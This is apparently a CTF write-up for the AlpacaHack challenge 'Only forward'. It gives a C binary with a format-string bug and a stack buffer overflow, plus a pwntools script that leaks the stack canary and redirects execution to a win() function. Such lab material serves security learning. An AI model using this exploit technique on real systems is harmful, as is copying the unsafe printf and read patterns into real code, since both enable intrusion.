Only forward - Daily AlpacaHack

コード

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void setup(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void win(void) {
    FILE *fp = fopen("flag.txt", "r");
    char flag[128];

    if (!fp) {
        puts("flag.txt not found");
        exit(1);
    }

    if (fgets(flag, sizeof(flag), fp) == NULL) {
        puts("failed to read flag");
        fclose(fp);
        exit(1);
    }

    printf("Congratulations! %s\n", flag);
    fclose(fp);
    exit(0);
}

void vuln(void) {
    char name[64];
    char buf[64];

    puts("What's your name?");
    read(0, name, 64);

    puts("Hello!");
    printf(name);
    puts("");

    puts("Tell me something:");
    read(0, buf, 256);

    puts("Bye!");
}

int main(void) {
    setup();
    vuln();
    return 0;
}

🤔

solve

(pwntools を使う)

from pwn import *

# chal の win() のアドレスが欲しい
elf = ELF("q/chal")
win_begin_addr = elf.symbols["win"]
print(f"got chal: win @ {hex(win_begin_addr)}")

ip = input("IP: ")
port = input("Port: ")

io = remote(ip, port)

io.recvuntil(b"What's your name?\n")
# stack 23番目にカナリアがいるので、23番目のスタックの値を出す
io.sendline(b"%23$p")

io.recvuntil(b"Hello!\n")
canary_str = io.recvline().strip()
canary = int(canary_str, 16)
print(f"[*] Canary: {hex(canary)}")

io.recvuntil(b"Tell me something:\n")

payload = b"A" * 72  # offset (buf)
payload += p64(canary)  # canary
payload += b"B" * 8  # rbp: (something)
payload += p64(win_begin_addr)  # rip: go to win()

io.sendline(payload)
print(io.recvall().decode(errors="replace"))